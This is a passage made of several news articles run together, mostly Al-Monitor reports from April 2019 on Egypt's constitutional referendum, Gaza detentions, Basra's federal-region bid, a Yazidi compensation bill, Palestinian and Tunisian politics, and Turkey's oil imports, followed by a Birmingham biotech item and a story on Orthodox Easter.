into the ether -- as an African-American Woman in America, Stokes knew only too well that the only thing that could beat back time's false narratives were the cold hard footage. We watch as the piles of tapes and newspapers grows around her, closing her off from life's personal obligations -- she could never leave her house for longer than six hours, the length of a VHS cassette. That tends to dampen one's interaction with society. But her genius, so far ahead of its time as to seem crazy to those around her, is well demonstrated by this riveting doc -- thank goodness for the Marion Stokes of the world; the recorders of history are our saviors. Recorder: The Marion Stokes Project plays 4/26, 4/27, and 4/28 at the festival Egypts National Elections Commission announced April 23 that 88.83% of Egyptians approved constitutional changes during a three-day referendum held in Egypt on April 19-21. The voting for Egyptians abroad took place on April 20-22. Over 27 million people participated, with a voter turnout of 44.33%. More than 23 million Egyptians voted in favor of the amendments and around 2 million people (11.17%) voted no. The proposed constitutional changes allow President Abdel Fattah al-Sisi to remain in power until 2030, strengthen the role of the army and establish a senate as a second parliamentary chamber. The voting was, however, held amid campaigns, both at home and abroad, rejecting the changes, as well as calls to boycott the referendum or vote against the changes. On the first day of voting abroad, the Egyptian flag rose above all, amid supporters' campaigns, particularly in Saudi Arabia and the United Arab Emirates. However, some protesters wore black clothes and banners bearing the word no and some even took to social media and posted pictures voting no in several voting booths overseas, namely the Qatari capital Doha. The government mobilized voters through various means, mainly through TV channels, patriotic songs, banners, conferences, decisions by Sisi to raise the salaries of employees and pensioners, as well as impose a fine on the boycotters, amid the complete absence of opposition on the ground. In various governorates, voters confirmed that they were offered food and cash to vote in favor of the constitutional amendment. Videos were posted on social media showing the Nations Future Party offering special Ramandan food boxes while citizens stood in line to sell their votes in exchange. Under the banner of Do the right thing, propaganda filled public and private media in Egypt over the past weeks in favor of the constitutional amendments. Well-known figures in various fields made appearances to support these amendments and many political forces and parties organized mass rallies inside and outside the walls of their headquarters. Kamal Osman Makhlouf, head of the Upper Egypt Tribes Association, which solves tribal disputes, told Al-Monitor that he organized a conference on April 14-16 to support the constitutional amendments after obtaining the security permits required for such gatherings. The constitutional amendments, submitted by the Egypt Support Coalition to parliament in February suggest increasing the presidential mandate from four to six years, so long as presidents are in office for only two consecutive mandates. Other proposed amendments include drafting a transitional text allowing current President Sisi to be reelected for two new terms. On April 16, parliament approved the constitutional changes, paving the way for the referendum. A total of 531 out of 554 members of parliament present at the session voted in favor of the measures, while 22 rejected them and one parliamentarian, Dina Abdel Aziz, abstained. Sisi said in an interview with CNBC in 2017 that he did not intend to amend the constitution and would reject a third term. He added that he would not run for a third term in the presidential election in 2022. In March 2018, before being elected for a second term, Sisi stressed how he rejected introducing new constitutional amendment during this period. Sisi remained silent until the referendums results were announced. In a post on his official Facebook page, the president thanked the Egyptian people for dazzling the world with their patriotism and national awareness of the challenges facing our beloved country Egypt. While the Egyptian opposition was united in voting against the amendments, the Muslim Brotherhood called for boycotting the vote completely, questioning the legitimacy of the regime. The Muslim Brotherhood rejects this ridiculous play and condemns this new coup all together. [The Brotherhood] reiterates its rejection of the military coup and all the invalid procedures resulting from it, the Brotherhood said in a statement April 15. Former Egyptian Vice President Mohamed ElBaradei and former presidential candidate Hamdeen Sabahi were some of the most prominent figures who called on voting no, along with dozens of leftist and liberal parties as well as the 25-30 bloc, an opposition-affiliated parliamentary bloc. An online voting campaign gathered over 20,000 signatures for the No to constitutional amendments petition. Only a few hours after the campaign was launched, Egyptian authorities blocked it across the country. Another online campaign was launched under the title Null and void, in opposition of the amendments. It included a social media page and a website, which collected more than 700,000 votes against the amendments, despite repeated attempts to block the site. In mid-March, former presidential candidate Ayman Nour announced that a new channel is being established, called La [Arabic for No], and that it has already begun its experimental broadcast. The most important issues that led us to establish this channel are the constitutional amendments, after receiving 50,000 letters from the Egyptian people rejecting the amendments, Nour said. During the voting on the referendum, opposition parliamentarian Ahmed Tantawy called on Egyptians to reject the constitutional amendments because they devote the rule to one person and take the country back to the Middle Ages. I call on the Egyptians to save the political course, Tantawy said in a video he posted on his Facebook page, pointing out that the campaigns urging citizens to vote in favor of the amendments only came after opposition campaigns were oppressed. He suggested that passing the constitutional amendments in this way violates the spirit of the constitution, the only gain that the Egyptians got after the January 25 Revolution. Tantawy told Al-Monitor that passing the constitutional amendments also means recognition of the measures and policies that have been implemented over the past years, such as giving up the islands of Tiran and Sanafir to Saudi Arabia, borrowing from the International Monetary Fund, which drove Egyptians to poverty, as well as the failure of negotiations in the Renaissance Dam issue, which will affect Egypts water share. GAZA CITY, Gaza Strip Al Mezan Center for Human Rights released April 23 a "fact sheet" on violations of the peoples rights to assemble peacefully, express opinions and not be subject to arbitrary detention in the Gaza Strip. The information presented was gathered between March 1, 2018, and March 1, 2019, as part of an EU-funded project to document rights abuses and promote compliance with international law. The statement indicates that the Hamas government security service in the Gaza Strip summoned, arrested and detained 742 people, including five women, as they were exercising their rights, because of their political affiliations. The fact sheet reports bans on media coverage of protests and restrictions on the press, as well as theatrical and drama productions deemed to be anti-government. The numbers would have been even higher, but the project ended just before the We Want to Live popular protests against the poor economic and humanitarian conditions in Gaza. During the protests, which ignited March 14 in Gaza City, security services arrested hundreds of protesters. Also, there were many reports of police using excessive violence in dispersing protesters, human rights activists and journalists. The 'We Want to Live' protests, which Hamas perceived to be a global conspiracy targeting the movement, have doubled the number of prisoners [being held for expressing their opinion] in an attempt to prevent the protests from escalating, Samir Zaqout, Al Mezan's director of monitoring and awareness, told Al-Monitor. Human Rights Watch has reported that the Fatah-led Palestinian Authority (PA) in the West Bank and the Hamas government in the Gaza Strip both arrest and torture peaceful opponents and critics, with each party targeting the supporters of the other. Such arrests fluctuate depending on the political climate in the Palestinian territories. The political conflict between Hamas and Fatah has caused lawlessness for years, Zaqout noted. He confirmed that when the government in the West Bank arrests Hamas supporters, the Gaza government rushes to arrest Fatah supporters. Zaqout said that Hamas is trying to hold on to the reins of its rule in the Gaza Strip and has become very sensitive to any criticism. Al Mezan monitors and documents the violations, keeping the UN and relevant human rights organizations informed. We are trying to reduce abuses of the law and ensure protection, albeit modest, to detainees in prisons, Zaqout said. He explained that obtaining permission to visit detainees in prisons has been an obstacle, as the Gaza security services delay and use excuses to prevent visits from taking place. Another obstacle is that complaints against security staff are handled internally. We are told that the security members in question are being held accountable, but we don't know how. Holding these members accountable doesn't take place according to the law in force in the Palestinian territories, which requires the general prosecution to take action," he said. This makes the complaints basically "worthless, Zaqout added. There is no separation of powers, and the executive power is dominating all other authorities, which encourages greater and more violations, he said. Mohamed Safi was arrested March 19 for participating in the protests. Though he was released March 21, he has been summoned to return repeatedly for unspecified reasons. Family members declined to talk to Al-Monitor about the arrest, but according to previous media reports, the family blames the security services for Safi losing his eyesight. Security officials knew that he suffered from optic nerve disorders and was supposed to undergo surgery on April 9, yet they summoned and detained him that day for hours, according to the reports. Also, the Gaza government didn't allow him to leave the Gaza Strip through the Beit Hanoun crossing April 17 for treatment in Ramallah, even though he had already obtained the needed Israeli permits to cross. After being detained again for hours, Safi was notified that he was not allowed to leave the Gaza Strip, but he was given no reason. Human rights activist Bilal Kheir Eddin was arrested March 12 for calling on the people to join the coming We Want to Live protests via Facebook. He was released April 7 after his lawyer signed an agreement that Kheir Eddin wouldn't write political and instigative posts. Kheir Eddin told Al-Monitor, I was tortured and accused of working to the advantage of external agendas, such as the PA and Israel. He said his detention was extended after he was accused of hostility to public policies. While he was detained, he said, he was told that if he continued to write such posts on social media, his captors would ruin his reputation by fabricating drug trafficking and ethics-related charges against him. He said he never expected that his own government would terrorize him. It would have been easier for me to be held in Israeli jails than in Palestinian ones, Kheir Eddin said. He noted that local and international human rights centers didn't follow up on cases of political detainees in Gaza prisons, which gave captors the confidence to go too far with their abuses. Kheir Eddin added that social media activists pressure for the prisoners' release had in some cases negatively affected them. I was subjected to further torture and humiliation with every demand made for my release, he said. I am leaving the country if I ever get a chance," he stated, adding, "The slim chance I have to live abroad is better than being humiliated in my own country. Moemen al-Natour was an organizer of the We Want to Live protest. He was arrested March 25 and released March 31. He told Al-Monitor, I was accused of being supported by the Israeli Blue and White party. I don't know how they fabricate charges without any evidence. Natour said he was tortured and arrested on the same charges as Kheir Eddin, and he was supposed to appear before the military court. Yet the aggravated security situation in the Gaza Strip with rockets being fired at Tel Aviv on March 21 and the Israeli military response preoccupied Hamas and prevented him from appearing before the court. Natour said that from now on he will refrain from even raising the humanitarian demands upon which the protest was based, fearing for his and his familys lives. Having been threatened with death, Natour said, We are ruled by the law of the jungle. He said he wants to leave the Palestinian territories when the opportunity presents itself, adding that while he was detained the military commanders told him that the attitude toward migrating youth is "good riddance." Speaking to Al-Monitor, political analyst Talal Awkal expressed fear that the Gaza security services are using a policy of repression to help secure its control over the Gaza Strip. Hamas needs to know that resorting to repression in handling the security situation could result in its rule collapsing, Awkal noted. The use of violence to repress freedom of expression and opinion is not [advantageous for] any government. Hamas needs to learn the lessons of the Arab Spring in the neighboring countries, he added, referring to the 2011 uprisings. The Interior Ministry did not respond to Al-Monitor's request for comment. Basra province in southern Iraq is once again seeking to become a federal region in the hopes of fixing the neglected area's dire economic and living conditions. National political parties remain divided on the issue, but provincial officials are making their move now, before the "summer crisis season" arrives, bringing mass protests and demands for better basic services like drinking water and electricity. During these protests last year, demonstrators set fire to government buildings and the offices of political parties, as well as the Iranian Consulate. At an April 1 session, the provincial council voted to set up a committee to implement legal and constitutional measures for establishing an officially recognized federal region. The countrys constitution stipulates that a province can request a referendum on the matter simply by obtaining favorable votes from one-third of the provincial councils members, or one-tenth of the governorate's voters. About 63% 22 of the council's 35 members have voted in favor of a referendum. The request next goes to the Council of Ministers for a vote, and then to the Independent High Electoral Commission (IHEC) to organize the referendum. To pass, that referendum would require approval by more than half of voters. Basra also sought to become a region in 2008 and 2014, but federal authorities rejected those demands, using loopholes in the constitution and citing chronic problems in Kurdistan, Iraq's only current federal region. Karim Shawak, a member of the Basra provincial council, told Al-Monitor the effort won't be defeated this time "because all of the Iraqi governments have failed to resolve the problems that the province has suffered from. However, he acknowledged there is major opposition to the move. There are local, regional and international parties opposing the Basra region project, he said, noting that even official parties in neighboring countries expressed great concerns about turning the province into a region. Also, some local parties in Basra, with their leadership in Baghdad, Karbala and Najaf, are against the idea of a Basra region because it doesn't serve their interests." He added, We will demand that the IHEC organize a referendum on the Basra region, so that the matter turns into a fait accompli that cannot be taken back. Otherwise, the Council of Ministers would be standing against the enforcement of the constitution." More large-scale popular protests are likely this summer, with the demand to turn Basra into a region topping the list of demands. This is particularly true since Basra's share of the 2019 budget caused a great deal of resentment, and multiple political parties opposed the formation of the Basra reconstruction council, chaired by the head of the Fatah Alliance, Hadi al-Amiri. Raed Mfarraji, a leader of the protests, told Al-Monitor, The Basra [share] of the federal budget has been unfair, particularly since the province generates 80% of Iraqi oil and is the countrys sole sea access. This unfair treatment has been a key reason behind the demand to turn Basra into a region. This way, Basra would enjoy treatment equal to the Kurdistan region, [although] its resources are less than those of Basra. He went on to say that all tribal leaders and the majority of the provincial councils members favor the idea of turning the province into a region: We are counting on the future popular protests to force the federal government to give its consent, or enforce Law No. 21 of 2008, which grants local governments large powers and reduces their reliance on the federal government." Nevertheless, turning Basra into a federal region requires more than constitutional measures. An internal political consensus and regional blessing are also needed, particularly since the ruling Iraqi government which includes almost all of the parliamentary blocs needs to vote on the Basra provincial councils decision before starting a referendum. Sadrist movement leader Muqtada al-Sadr warned in a tweet April 8 that forming federal regions can be dangerous and would leave Basra weaker and more susceptible to outside influence. Moreover, Iyad Allawi, head of the National List, wrote in a tweet that corruption and quotas are behind the problems in Basra" and "the region requires solid institutions. The Sadiqoon Alliance, led by Qais al-Khazali, opted for the same stance. Modher Salman, a parliament member for the Alliance Toward Reforms, told Al-Monitor, Parliament will try to meet the Basra demands and take all of the measures to ensure that basic services are available to the inhabitants of the province. He added, The formation of regions at this time would imply the countrys fragmentation, particularly in light of the very struggle to control the Basra resources and wealth. Iraqi Prime Minister Adel Abdul Mahdi's government is likely to try to fulfill the political blocs desires in the federal parliament and impede the formation of a Basra region. The government is in dire need of any parliamentary support that would maintain its coherence and survival. Yet the government would be cornered and embarrassed, looking like it's obstructing the constitution. The government is required to resolve the Basra problems, which all local and central governments have failed to do. Hence, Mahdi will be targeted in the expected summer protests. The Iraqi president's office announced April 7 that it has sent a draft law on compensating Yazidi women to the Iraqi parliament. The presidential press office said the bill aims to financially compensate the female survivors of kidnappings by the Islamic State (IS), offer them rehabilitation and care, and provide other means of subsistence. Sagvan Murad Jindy, the Yazidi community's representative at the president's office, said, It was clear that a draft law was needed to address the psychological and physical suffering of Yazidi women at the hands of IS gangs. Most Yazidis are displaced in the camps in Kurdistan and live under extremely difficult conditions. When these female survivors return, they will probably find that the rest of their family are missing or have left the country to reach safe havens." Parliament and the president's office are coordinating to turn the bill into law as soon as possible. Parliamentary speaker Mohammed al-Halbusi said he hopes to pass the law to combat the adverse effects of kidnapping operations. Saeb Khodr, a Yazidi representative in parliament and head of the Parliament Legal Committee, expressed his full support for the draft law. He said the draft has been received by the committee for review. I am optimistic about the approval of the law as soon as possible," he said. "Guaranteeing the rights of survivors and victims of IS, whether Yazidis or from among the other Iraqi components, is something that cannot be taken lightly. The draft law stipulates the rights of Yazidi female survivors, including the establishment of a General Directorate for Survivors' Affairs based in Ninevah governorate. A Yazidi civil servant will be appointed by the Council of Ministers to head the survivors' directorate. The law also grants female survivors a monthly stipend; residential land or a housing unit, free of charge; and the right to an education, subject to age-related conditions. Female survivors will also be prioritized when it comes to appointments to public posts. Notably, the draft law deems the crimes against the Yazidis as genocide, and recommends that the cases be brought to the attention of international bodies to initiate criminal proceedings against the perpetrators of the crimes. The draft marks June 3 as a national day to commemorate the crimes against the Yazidis, with the Ministry of Culture and the Municipality of Baghdad in charge of taking the necessary measures to honor the memory of Yazidi victims, whether through the construction of a monument or the organization of an exhibition. Despite the draft's positive aspects, some Yazidi activists have criticized the draft. Saman Daoud, editor of Ezidi 24 website, said, The draft provides rights to female survivors only. It ought to include the rest of the victims, as there are male and children survivors who are living under very precarious conditions. Especially in the case of the children, who lost all family members and became orphans with no breadwinner. He added, Some women died in captivity or after being freed from IS because of complications ensuing from the atrocities and horrors they faced. Daoud believes the draft law needs to compensate all victims, not to mention the men who were killed and buried in mass graves, and the children who were forced to become fighters. Mirza Dinnayi, a Yazidi activist, described the draft law in its current version as excellent, even if it does not attend to other aspects of the Yazidi tragedy. This is only the first legal step it should not be the last one, he told Al-Monitor. Transitional justice, accountability of criminals, compensation of Yazidis and the achievement of genuine reconciliation in the framework of granting Yazidis their full rights constitute only a part of a long-term project that the Iraqi authorities should execute. The most controversial aspect of the draft law regards the fate of the children who were born from the rape of Yazidi women by IS fighters. The draft notes that those children's status should be regulated in accordance with the law. Children of a female Yazidi survivor shall be subject to applicable laws, the draft law states. Under Iraqi law, a child born to a Muslim father, or even to an unknown father, is Muslim, regardless of the mother's religion. This means that the Yazidi children will be registered as Muslims, even though they were born to Yazidi women. Iraqi law does not allow the registration of children according to the mother's religion. The Yazidi community will face a slew of complicated issues over the issue of children fathered by IS fathers. As it is, the community finds it difficult to accept these children. The draft law has only made the children's acceptance more difficult, as the Yazidi community embraces a religion that emphasizes religious and ethnic purity. Nevertheless, the draft law is likely to pass parliament with ease. Putting into place some exceptions to the law that would allow the children's religious conversion could appease fears and ensure justice for the victims. GAZA CITY, Gaza Strip Hamas has lots of options for dealing with the new Fatah-led Palestinian government sworn in April 13, but not many choices seem likely to result in reconciliation given that Hamas wasn't even invited to join. The new Palestinian government is headed by Fatah Central Committee member Mohammad Shtayyeh. Six Palestinian factions are represented, three are boycotting the government and two Hamas and the Palestinian Islamic Jihad were snubbed completely. Still, after taking his constitutional oath, Shtayyeh reviewed his plan to achieve Palestinian national unity; prepare for legislative elections; strengthen the steadfastness of citizens on their land; defend Jerusalem; revive the national economy; promote partnership among the public, private and civil sectors; and support the families of those who fought against Israel and died or were wounded or imprisoned. Hamas, meanwhile, issued an official statement on its website saying the new government lacks legitimacy and is a practical step to implement [the US peace plan for the Middle East]." It added, The fact that Fatah has formed this government is proof of its exclusivity and exclusion policy, which deepens division. Ibrahim Melhem, a government spokesman, told Al-Monitor, The new Palestinian government is looking forward to enabling and exercising its functions in the Gaza Strip to alleviate the burdens on people and provide the necessary assistance." He added, The government has obligations toward the Gaza Strip, and helping Gaza is our top priority. We will work on doubling aid, and we hope Hamas won't place obstacles in our way. According to Melhem, the government is seeking to end the Palestinian division and achieve national unity. Gaza is besieged and plagued by many internal crises, and we want the government to be strongly present and cooperate with all factions to carry out our tasks. Fatah and Hamas split violently in 2007 and have been estranged ever since. Despite efforts by Egypt and Arab countries, recent reconciliation talks have stalled. Hamas spokesman in Gaza Abdel Latif al-Qanou told Al-Monitor, The Palestinian government is neither national nor constitutional. It was formed without a national consensus between all factions. It serves the division and strengthens separation between the West Bank and Gaza as a practical step to implement the [so-called] Deal of the Century, referring to the long-touted but still-unseen US peace plan for the Middle East, now expected to be announced in June. Qanou said Hamas rejects this government given the lack of national consensus, which is why [this government] will not be able to meet the aspirations of the Palestinian people and face the challenges plaguing the Palestinian cause." He pointed out that the terms of Egypt's proposed Palestinian reconciliation include forming a government of national unity and holding legislative and presidential elections, as well as forming a national council." "But the fact that President [Mahmoud] Abbas is exclusively making decisions on his own shows his lack of commitment to all signed agreements and further deepens division," Qanou added. Hamas will not abandon its duties toward the Gaza Strip and will work to solve all its crises and assume full responsibility for the territory, he said, adding, Confronting the challenges that beset the Palestinian cause foremost of which is the imposition of the Deal of the Century requires forming a national unity government that would be responsible for all our people in all areas. Qanou noted that the new Palestinian governments behavior will determine how Hamas deals with it. Hussam al-Dajani, a political science professor at Gaza's Al-Ummah University, told Al-Monitor, Hamas now faces three possible scenarios when it comes to dealing with the new government. It could [ignore] it, since [the government] has neither constitutional legitimacy nor national consensus. Hamas could turn a blind eye to any positive actions the government could take toward Gaza [yet] allow it to perform its duties to serve the public interest. The second scenario, he explained, would be for Hamas to reject the Palestinian government and form its own administrative committee to manage the Gaza Strip and become an official body to deal with public affairs there. The third scenario, which Dajani considers far-fetched, would be for Hamas to accept the government and deal positively with it, allowing it to work in the Gaza Strip. In that case, Dajani stressed, Shtayyeh would strengthen his government in Gaza by working on several levels. He would maintain a communication channel with Hamas and try to lift the sanctions imposed by the Palestinian Authority (PA) on the Gaza Strip since March 2017 after reconciliation with Hamas reached a dead end, he explained. Hani al-Masri, director general of the Palestinian Center for Policy Research and Strategic Studies - Masarat, said he also sees several potential outcomes based on Hamas' reactions. Hamas response to forming this new Palestinian government paves the way for several scenarios. As a first, it could simply reject it and say it's a separatist government and [then] wait and see how it deals with Gaza. Second, he noted, Hamas could re-form the administrative committee it had dissolved in September 2017 and declare it the only legitimacy derived from the Palestinian Legislative Council (PLC). The Palestinian Constitutional Court, at Abbas' urging, dissolved the PLC on Dec. 22, 2018 a decision Hamas never accepted. In a third scenario, Hamas would call on factions and civil society to take responsibility for managing the Gaza Strip along with Hamas, Masri said. He noted another scenario would be to empower the PA in the Gaza Strip in accordance with a reconciliation agreement signed in Cairo in October 2017. He pointed out that Hamas could form an administrative committee composed of technocrats and independents preferably close to Hamas and accepted by the international community as a fifth scenario. Another option would be to agree on comprehensive solutions to end the division and restore national unity. This move would be based on mutual interests, the rules of partnership and consensus democracy, he explained, all the while rebuilding the institutions of the PLO, changing and balancing the PAs obligations and functions, and forming a national unity government. Unfortunately, Masri believes this is unlikely to take place. For the record, the six factions that formed the government are Fatah, the Palestinian Democratic Union Party, the Palestinian Popular Struggle Front, the Palestinian People's Party, the Palestinian Liberation Front and the Arab Liberation Front. The three that are boycotting are the Popular Front for the Liberation of Palestine, the Democratic Front for the Liberation of Palestine and the Palestinian National Initiative. TUNIS Soufien Toubal, leader of Nidaa Tounes' parliamentary bloc, on April 13 announced on Facebook that he had been elected president of the partys Central Committee at a congress held in Hammamet. A day later in a statement to state television, Hafedh Caid Essebsi, son of Tunisian President Beji Caid Essebsi, announced that he had been elected to lead Nidaa Tounes Central Committee at a party congress held in Monastir. Nidaa Tounes had convened an electoral congress in Monastir on April 6 with President Essebsi, the founder of the party in attendance to elect members of the partys political bureau. Elections for a new head of its Central Committee would then follow. Interparty disputes erupted as soon as the results were announced for the political bureau. The new list of 32 members included Toubal and the younger Essebsi. The majority of the newly elected members were backers of Toubal. At a press conference on April 11, members supporting Hafedh rejected the April 6 results, fearing the majority would support Toubal in the Central Committee elections. Hafedh loyalists called for holding committee elections in Monastir on April 13, while Toubal loyalists insisted on the legitimacy of the results of the April 6 elections and called for a parallel congress in Hammamet on April 13. Thus the vote outcomes were preordained along with dueling claims of legitimacy. Nidaa Tounes parliamentarian Tayeb al-Madani, who participated in the Hammamet congress, told Al-Monitor that Hafedh has been ousted from the party's leadership and said that Toubal had submitted the party election results to the premier's office for approval. Madani also strongly criticized what he called Hafedhs attempts to take over the party by using his fathers position. MP Manji al-Harbawi, who took part in the Monastir congress, told Al-Monitor that the results of that vote had also been given to the premier. The premier's office has yet to announce either result or take a stand on the legitimacy of the dueling congresses. There is talk of approaching the administrative court for a determination in case the premier's office fails to issue a ruling. Harbawi said that the Montasir group will launch a campaign to prepare for legislative and presidential elections scheduled for Oct. 6 and Nov. 17, respectively. Observers believe that the divisions within Nidaa Tounes, which in 2014 won the first presidential and legislative elections after the 2010-11 revolution, is now threatened with disappearing from the political scene due to the leadership dispute. Hafedh's political career is also seriously at stake. Divisions erupted within the party when Hafedh, while serving as Nidaa Tounes executive director of Nidaa Tunis, was accused of excluding party members and parliamentarians from drafting internal policies of the party and of unilaterally making decisions. A common refrain was that Hafedh treated the party as personal property that he had inherited from his father. Nidaa Tounes parliamentary representation has declined due to a wave of resignations stemming from the internal divisions, dropping from 86 in 2014 to 37 in 2019. The party now occupies third place in terms of parliament seats, with the National Coalition, affiliated with Prime Minister Youssef al-Chahed and Ennahda, forming the majority, with 68 seats. Khaled Shokat, the current executive director of Nidaa Tounes, told Radio Mosaique last September that his party will side with the opposition in the 2019 elections due to the Chahed governments disrespect for democratic rules and the political program of the party. President Essebsi has tried to remain impartial in the row within the party he founded in 2012, being well aware of the appearance of possible nepotism in the current situation. His spokeswoman Saida Garrach said in an April 16 Facebook post that the Essebsi will not be intervening in Nidaa Tounes affairs. His involvment would remain limited to participation to the April 6 congress, where he delivered a speech calling on the party to unify, Garrach added. Many had bet on the Nidaa Tounes congress successfully reuniting the party ahead of upcoming elections. That the outcome was the Monastir and Hammamet congresses, however, points to new divisions and conflicts over leadership possibly portending the partys disintegration. Despite striking a defiant tone on Washingtons decision to end sanctions waivers for Iranian oil imports, Turkey seems to be complying with the sanctions regime, as Iranian imports recently shrank to zero. The situation, however, is bringing a new problem to light: finding alternative sellers of oil. Iranian sanctions have been added to a long list of problems plaguing US-Turkey ties, which are already strained over American support for the Syrian Kurds and Turkeys commitment to buy the Russian S-400 air defense system. The sanctions waivers the Donald Trump administration granted to eight countries, including Turkey, to import oil from Iran have come to an end. Ankaras efforts to negotiate an extension for the waivers failed. Secretary of State Mike Pompeo declared that Iranian exports will be reduced to zero and there will be no more waivers. The first reaction from Turkey was a pledge to defy the decision. Sanctions are unjustified and we are not going to comply with them. We are against such forceful measures, Foreign Minister Mevlut Cavusoglu said April 22. The White House announced it is working with Saudi Arabia and the United Arab Emirates to overcome the supply shortage caused by the embargo on Iran. But this move didnt please Turkey. Forcing [countries] to buy oil from any other country instead of Iran is exceeding limits, Cavusoglu said. The tone struck by Turkeys diplomat gave the impression that Turkey would bypass the sanctions through different mechanisms, yet the expectations were proven wrong by the available figures coming from the field. In 2015, when UN sanctions were lifted after the nuclear deal the Joint Comprehensive Plan of Action (JCPOA) was reached with Tehran, Turkey increased its oil imports from Iran. When US sanctions were reimposed, Turkey reduced its imports. According to official figures, in 2015, Irans share of Turkeys oil imports was 14.10% of the national total. That went up to 16.9% in 2016. In December 2016, Iran became Turkey's No. 1 oil supplier, with 26.74% of the national total. In July 2017, it increased to 37.26%. But after May 8, 2018, when the United States withdrew from the JCPOA, imports gradually declined. Oil imports from Iran at 21.48% in the first 10 months of 2018 reached zero in November 2018, when the American sanctions were implemented. Although Iranian President Hassan Rouhani thanked Turkey during his December 2018 visit to Ankara, saying, Our neighbor Turkey has taken a good and robust stand against the American sanctions plot, he did not mention the recent decline. Naturally, Turkeys stopping its imports of Iranian oil while rhetorically opposing the sanctions attracted notice. Imports went up to 3.26% in December 2018 and to 12.35% in January 2019. Official figures for February and March have not been disclosed. The trend of imports since last May indicates that Turkey has not really resisted the sanctions. While Turkey is cutting down on oil imports from Iran, finding alternative sellers is a problem. Iraq and Russia are among the top two alternatives. Turkey faces two major questions on sanctions and diversifying its sources. First, the most suitable oil for Turkeys largest oil refinery, Tupras, is Iranian oil. Oil from other sources means extra processing and costs. Second, because of geographical proximity, Irans oil is cheaper to transport. In 2018, Iraq and Russia occupied the top two slots among Turkeys suppliers. In November 2018, when the imports from Iran shrank to zero, Russias share in Turkeys oil imports went up to 32.18% and Iraqs to 12.61%. In imports, contrary to Iraq, the shares of crude oil and diesel were higher in imports from Russia. In January 2019, when Russia dropped to second place, supplies with crude oil, diesel and other oil products was 15%. Iraq, with 23.52%, occupied first place only with crude oil. All this happened when commercial relations with the Kurdistan Regional Government had plummeted because of the controversial Kurdish independence referendum. Yet relations between the Iraqi Kurdistan government and Turkey have not improved. Flights between Diyarbakir and Erbil resumed March 21 as one of the first positive steps. Even if Turkey can sort out its oil source problem, that doesnt mean it can avoid the extra costs of the sanctions regime. As oil shipments from Russia are made with maritime tankers, costs go up. Moreover, since Italy and Greece stopped buying from Iran and switched to Russia, the tanker traffic through Turkish straits has shot up from five to six days of waiting to 15-16 days, further adding to costs. The Azeri oil that comes via the Baku-Tbilisi-Ceyhan Pipeline is not consumed in Turkey but goes to other countries, primarily Israel. According to Muhdan Saglam, an economy writer for independent Gazete Duvar who specializes in energy affairs, Iraqi oil does not provide the solution. Tupras is geared for refining heavy oil," Saglam told Al-Monitor. "Iranian and northern Iraqi oils are suitable. Basra oil is not. But Iraqi oil is cheaper because it comes via pipeline. Oil from Russias Ural region is also suitable. That is why when we went down to zero with Iran, Russia rose to become the first ranked supplier. But Russia is too far from Turkeys facilities and that hikes up costs." She added: Turkey buys oil from Saudi Arabia and the UAE, but these cannot be alternatives. Tupras cannot confine itself to oil purchased from these countries. In Egypt, the political atmosphere is unstable and its production is low. But India is able to refine all kinds of oil, and Turkey last year in November-December bought diesel fuel from there. This can be increased. But that would mean our Tupras would be idle, further increasing our costs. There is no source that could provide oil as cheap as Iran. Eliminating the waivers means increasing the costs that would add to Turkeys economic crisis. The government is worried. It is difficult to put into figures the extra costs for Turkey if it switches to a source other than Iran. But it is known that a $10 increase in Brent oil blows up the Turkish current deficit by $3.5 billion. In short, the government is blustering to save face before the Turkish public and to preserve its image of being a government that will not bow to American pressure, although it is complying with the sanctions. In addition to economic considerations, Turkey's uncertain attitude could be affected by the presence of Israel behind the sanctions campaign and the entry of Saudi Arabia and the UAE to help the sanctions by becoming alternative sources of oil. Turkey has been in a sort of cold war with Saudi Arabia and the UAE for a while. Then there is the partnership developed with Iran in Syria through the Astana process. In a nutshell, the sanctions economic figures and the harsh political language dont mesh. Birmingham biotech TriAltus Bioscience raised $1.575 million in its initial seed funding round. The company, founded at the end of 2017, uses a proprietary technology developed and licensed through UAB for the manufacturing and purifying of engineered proteins for the pharmaceutical industry. The funding round lasted about six months, Bob Shufflebarger, co-founder and CEO, said. The companys other co-founder is UAB Professor Dmitry Vassylyev, who is also the companys chief scientific officer. A larger Series A is expected to follow later. Whats noteworthy is that most of our funding came from local investors, he said. Theres a strong sense of pride with customers and investors in the Birmingham area, and they really want to see the ecosystem grow here. The money will be used to scale the operation, acquire more customers and make more product, he said. The company is still in the early stages of development. We want to see how we fit into the marketplace, he said. Its absolutely crucial for us to move forward. Were a little different from many biotech companies. Were more about creating tools that can be used in that environment. Although most Christians in the world celebrated Easter last Sunday, more than 200 million Eastern Orthodox worldwide will celebrate Easter a week later, on April 28. For Greek Orthodox and Russian Orthodox believers, this Sunday is Easter. Its very important to me that Jesus Christ will come back to our lives for everybody that accepts him, said Vivian Hontzas, who was born in Greece in 1938 and moved to Alabama in 1949. Hontzas was at the Greek Orthodox Cathedral of Holy Trinity-Holy Cross in Birmingham on Friday afternoon for the Good Friday service, at which a wooden representation of Jesus body is taken down from a wooden cross at the 3 p.m. service. Good Friday is a meditation on the suffering and crucifixion of Jesus. Jesus has gone through so much for us he was tortured, Vivian said. A wooden structure at the front of the church that represents the tomb of Jesus is decorated with flowers, carnations and lilies. The corpus from the cross, wrapped in embroidered linen, is laid in the tomb. Hes taken off the cross and wrapped in white linen, said Rose Maria Thomason, also a member of Holy Trinity-Holy Cross. It represents the tomb cloth. People go up and pay their respects, just as you would anyone who dies. On Saturday night at 11 p.m., the Greek Orthodox Cathedral and other Orthodox churches will be filled as Christians await midnight and the declaration that Christ is Risen! Dying Easter eggs red is a major part of the Orthodox Easter, with its symbolism, Vivian said. The egg white is the tombstone; the yolk is the life, she said. When we dye the egg red, it represents the blood of Jesus Christ. On Easter Sunday morning, Orthodox Christians hold out eggs out and tap them together. We say, Christ is Risen! and the response is, Indeed He is Risen! Clara Sfakianos said her family includes western Christians who sometimes have Easter before her Greek Easter. She celebrates both. I have two Easters, she said. The Council of Nicea in 325. A.D. based its calculations for Easter on the Julian calendar and said it must come after the Jewish Passover, and the Orthodox still follow that formulation. A schism between Catholics and the Orthodox took place in 1054 A.D., ending the unity of the Christian church. The Gregorian calendar in use today through most of the world was established in 1582 by Pope Gregory XIII, and the Orthodox refused to adopt it. The Orthodox keep to the tradition of a strict fast from meat and dairy products during Lent. The fast is broken at a meal after the midnight service on Easter morning. About 2 to 3 a.m., the congregation brings baskets of food that were forbidden during lent to break the fast possibly the origin of the Easter basket. They announce that "Christ is risen in English, Greek, Russian, Romanian and other languages. The Orthodox believe they remain true to the very earliest 